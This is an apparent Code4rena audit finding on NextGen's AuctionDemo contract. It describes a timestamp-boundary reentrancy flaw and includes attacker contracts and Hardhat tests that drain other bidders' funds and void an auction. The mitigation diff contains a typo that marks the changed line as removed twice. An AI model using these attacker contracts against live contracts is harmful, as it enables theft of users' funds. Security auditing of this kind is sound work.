AuctionDemo.claimAuction, AuctionDemo.cancelBid, AuctionDemo.cancelAllBids can be called at the same time when block.timestamp == minter.getAuctionEndTime(_tokenid)

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

AuctionDemo.claimAuction, AuctionDemo.cancelBid, AuctionDemo.cancelAllBids can be called at the same time when block.timestamp == minter.getAuctionEndTime(_tokenid)

Impact

The implementation of the methods AuctionDemo.claimAuction and AuctionDemo.cancelAllBids, AuctionDemo.cancelBid allows you to call these methods at the moment when: block.timestamp == minter.getAuctionEndTime(_tokenid) within the same call, or in any order, which causes a lot of problems and losses, namely:

1. Theft of funds from the auction, since cancelBid & cancelAllBids can be called during AuctionDemo.claimAuction during the transmission of unwinning bids, or after in the same block, since claimAuction does not change their state, they remain active, which causes the successful passage of cancelBid & cancelAllBids and another payment to the user of his bid. This leads to the possibility of withdrawing funds from the contract
2. The winner of the auction can invalidate the auction by withdrawing his bid via receive() and cancelBid during claimAuction the winner can set a trigger on their first bid that will cause a cancelBid on the winning bid of the auction, which will cause the block with the transfer of the NFT to fail and the funds not to be issued to the NFT holder. This will invalidate the auction.

Dependency for realizing these problems: block.timestamp == minter.getAuctionEndTime(_tokenid) block time must be equal to the auction end time

Since they have a common cause in the implementation, fixing which makes them invalid, they were combined as an impact due to the same problem in the code## Proof of Concept

Links

• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105
• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116
• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125
• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

  Description

The main problem is the ability to call methods within the same block/transaction. Since the conditions have a common state block.timestamp == minter.getAuctionEndTime(_tokenid), in which these methods can be called within the same block/transaction

File:2023-10-nextgen\smart-contracts\AuctionDemo.sol

104:    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:             require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); // @audit
106:             auctionClaim[_tokenid] = true;
107:             uint256 highestBid = returnHighestBid(_tokenid);
108:             address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:             address highestBidder = returnHighestBidder(_tokenid);
110:             for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:                 if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                     IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                     (bool success, ) = payable(owner()).call{value: highestBid}(""); // @audit
114:                     emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:                 } else if (auctionInfoData[_tokenid][i].status == true) {
116:                     (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                     emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:                 } else {}
119:             }
120:         }

128:     function cancelBid(uint256 _tokenid, uint256 index) public {
129:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); // @audit
130:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
131:         auctionInfoData[_tokenid][index].status = false;
132:         console.log("cancel bid");
133:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
134:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
135:     }
136: 
137:     // cancel All Bids
138: 
139:     function cancelAllBids(uint256 _tokenid) public {
140:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); // @audit
141:         for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
142:             if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
143:                 auctionInfoData[_tokenid][i].status = false;
144:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
145:                 emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
146:             } else {}
147:         }
148:     }

The following tests show the extraction of other people's funds and the disability of the auction:

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";

contract AttackHigBid {

    address internal _auction;
    uint256 internal _winBid;
    uint256 internal _tokenId;
    bool internal _call = false;

    constructor(address auction, uint256 tokenId) {
        _auction = auction;
        _tokenId = tokenId;
    }

    receive() external payable {
        if (!_call) {
            _call = true;
            auctionDemo(_auction).cancelBid(_tokenId, _winBid);
        }
    }

    function setBid(uint256 b) external{
        _winBid = b;
    }

    function attack() external payable{
        auctionDemo(_auction).participateToAuction{value: msg.value}(_tokenId);
    }
}

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";

contract AttackDrainFunds {

    address internal _auction;
    uint256 internal _winBid;
    uint256 internal _tokenId;
    bool internal _call = false;

    constructor(address auction, uint256 tokenId) {
        _auction = auction;
        _tokenId = tokenId;
    }

    receive() external payable {
        if (!_call) {
            _call = true;
            auctionDemo(_auction).cancelBid(_tokenId, _winBid);
        }
    }

    function setBid(uint256 b) external{
        _winBid = b;
    }

    function attack() external payable{
        auctionDemo(_auction).participateToAuction{value: msg.value}(_tokenId);
    }
}

const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const hardhat = require("hardhat")

const fixturesDeployment = require("../scripts/fixturesDeployment.js")
const helpers = require("@nomicfoundation/hardhat-network-helpers");

let signers, contracts, auctionDemoContract
const COLLECTION_ID = 1
let snapshot

describe("Issue: auction without prize", function () {
  before("Setup", async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment))

    const auctionDemoFactory = await ethers.getContractFactory("auctionDemo")
    auctionDemoContract = await auctionDemoFactory.deploy(
      contracts.hhMinter.getAddress(),
      contracts.hhCore.getAddress(),
      contracts.hhAdmin.getAddress()
    )

    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"],
    )
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.getAddress(),
      true,
    )
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.getAddress(), // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
      contracts.hhMinter.getAddress(),
    )

    await contracts.hhCore.addRandomizer(
      1, contracts.hhRandomizer.getAddress(),
    )

      await contracts.hhMinter.setCollectionCosts(
        COLLECTION_ID, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )
      await contracts.hhMinter.setCollectionPhases(
        COLLECTION_ID, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )
      snapshot = await helpers.takeSnapshot();
  })

  afterEach(async() => {
    await snapshot.restore();
  })

  it("Checking the way to cancel winner bid and invalidate auction", async() => {

    let calcMintedId = await contracts.hhCore.viewTokensIndexMin(COLLECTION_ID) + await contracts.hhCore.viewCirSupply(COLLECTION_ID)
    let auctionEndTime = await helpers.time.latest() + 86400;
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.getAddress(),
      '{"tdh": "100"}',
      2,
      COLLECTION_ID,
      auctionEndTime
    )

    await contracts.hhCore.transferFrom(await signers.owner.getAddress(), auctionDemoContract.getAddress(), calcMintedId)

    // @audit check that AuctionDemo have token
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);

    // @audit enemy user participate in Auction
    const attackFactory = await ethers.getContractFactory("AttackHigBid")
    const attack = await attackFactory.deploy(auctionDemoContract.getAddress(), calcMintedId)

    // @audit first bid for reentrancy
    await attack.connect(signers.addr2).attack({value:1})

    // @audit other user participate in Auction
    await auctionDemoContract.connect(signers.addr1).participateToAuction(calcMintedId, {value:100});
    await auctionDemoContract.connect(signers.addr3).participateToAuction(calcMintedId, {value:101});
    await auctionDemoContract.connect(signers.owner).participateToAuction(calcMintedId, {value:102});

    // @audit winner bid
    await attack.connect(signers.addr2).attack({value:1000})

    await attack.setBid(4); // set winner bid for canceled

    await helpers.time.setNextBlockTimestamp(auctionEndTime)

    await auctionDemoContract.connect(signers.owner).claimAuction(calcMintedId)

    // @audit check that nft not transfer to winner, it's also provide that owner not recieve winner bid
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);

  })

  it("Checking the way to cancel winner bid and invalidate auction", async() => {

    let calcMintedId = await contracts.hhCore.viewTokensIndexMin(COLLECTION_ID) + await contracts.hhCore.viewCirSupply(COLLECTION_ID)
    let auctionEndTime = await helpers.time.latest() + 86400;
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.getAddress(),
      '{"tdh": "100"}',
      2,
      COLLECTION_ID,
      auctionEndTime
    )

    await contracts.hhCore.transferFrom(await signers.owner.getAddress(), auctionDemoContract.getAddress(), calcMintedId)

    // @audit check that AuctionDemo have token
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);

    // @audit enemy user participate in Auction
    const attackFactory = await ethers.getContractFactory("AttackDrainFunds")
    const attack = await attackFactory.deploy(auctionDemoContract.getAddress(), calcMintedId)

    expect(await ethers.provider.getBalance(attack.getAddress())).to.be.eq(0);

    // @audit first bid for reentrancy start attacker balance
    await attack.connect(signers.addr2).attack({value:10e9})

    // @audit other user participate in Auction
    await auctionDemoContract.connect(signers.addr1).participateToAuction(calcMintedId, {value:12e9});
    await auctionDemoContract.connect(signers.addr3).participateToAuction(calcMintedId, {value:13e9});
    await auctionDemoContract.connect(signers.owner).participateToAuction(calcMintedId, {value:14e9});

    await helpers.time.setNextBlockTimestamp(auctionEndTime)

    await auctionDemoContract.connect(signers.owner).claimAuction(calcMintedId)

    // @audit check that attacker get x2 balance
    expect(await ethers.provider.getBalance(attack.getAddress())).to.be.eq(20e9);

  })
})

Tools Used

• Manual Review
• HardHat

Recommended Mitigation Steps

You need to remove the common point in the condition that allows you to call transactions within the same block, this will lead to the impossibility of higher cases

File: e:\code4rena\2023-10-nextgen\hardhat\smart-contracts\AuctionDemo.sol

128:     function cancelBid(uint256 _tokenid, uint256 index) public {
-129:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+129:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
130:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
131:         auctionInfoData[_tokenid][index].status = false;
132:         console.log("cancel bid");
133:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
134:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
135:     }
136: 
137:     // cancel All Bids
138: 
139:     function cancelAllBids(uint256 _tokenid) public {
-140:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
-140:         require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
141:         for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
142:             if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
143:                 auctionInfoData[_tokenid][i].status = false;
144:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
145:                 emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
146:             } else {}
147:         }
148:     }

Assessed type

Invalid Validation

[c4-pre-sort]

141345 marked the issue as duplicate of #1904

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory